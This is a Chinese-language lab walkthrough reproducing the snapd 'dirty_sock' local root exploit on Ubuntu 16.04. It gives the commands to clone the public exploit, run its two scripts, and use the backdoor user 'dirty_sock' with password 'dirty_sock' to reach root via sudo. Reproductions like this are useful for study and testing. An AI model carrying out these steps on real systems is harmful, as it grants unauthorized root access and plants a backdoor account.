簡(jiǎn)介
Ubuntu Linux的默認(rèn)安裝`snapd`服務(wù),由于snapd API中的一個(gè)錯(cuò)誤,任何本地用戶都可以利用此漏洞獲取對(duì)系統(tǒng)的直接root訪問權(quán)限。
受影響版本
2.37.1以下
測(cè)試環(huán)境
zzq@zzq-virtual-machine:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
zzq@zzq-virtual-machine:~$ snap version
snap 2.34.2
snapd 2.34.2
series 16
ubuntu 16.04
kernel 4.15.0-29-generic
zzq@zzq-virtual-machine:~$
python2

圖片.png
漏洞復(fù)現(xiàn)
- 下載提權(quán)使用的exp
zzq@zzq-virtual-machine:~$ git clone https://github.com/initstring/dirty_sock.git
- 進(jìn)入下載的目錄,里面是兩個(gè)py文件,分別是不同的利用腳本

圖片.png
方式 1:使用dirty_sockv1.py
- 前提條件
1.所在的環(huán)境需要能夠訪問到外部網(wǎng)絡(luò)。
2.需要ubuntu sso的賬號(hào),自行到官網(wǎng)注冊(cè),地址:https://login.ubuntu.com/
3.所在的環(huán)境需要安裝ssh服務(wù)
- 下面是我自己注冊(cè)的賬戶

圖片.png
- 接下來首先在本地生成公鑰
$ ssh-keygen -t rsa -C "<you email>"

圖片.png
- 將生成的公鑰導(dǎo)入到ubuntu賬號(hào)SSH keys中

圖片.png

圖片.png
- 最后在本地執(zhí)行dirty_sockv1.py,執(zhí)行之前一定要先安裝ssh服務(wù)
$ python dirty_sockv1.py -u "<your email>" -k "私鑰"

圖片.png
- 成功執(zhí)行完畢,再執(zhí)行
sudo -i,就成功提權(quán)到root
圖片.png
方式 2:使用dirty_sockv2.py
- 第2中方法操作簡(jiǎn)單:無需任何條件,直接執(zhí)行dirty_sockv2.py即可,執(zhí)行成功后會(huì)創(chuàng)建一個(gè)
dirty_sock用戶,密碼也為dirty_sock,如下:

圖片.png
接下來先切換到用戶
dirty_sock,密碼dirty_sock,然后再通過sudo -i提升到root權(quán)限在執(zhí)行
su dirty_sock的時(shí)候可能會(huì)遇到以下情況,No passwd entry for user 'dirty_sock'不幸的我是遇到了

圖片.png
- 如果遇到此情況按下圖操作,查看任務(wù)進(jìn)度,等到doing任務(wù)執(zhí)行完之后再進(jìn)行嘗試,如果仍不行,請(qǐng)使用方法一。

圖片.png
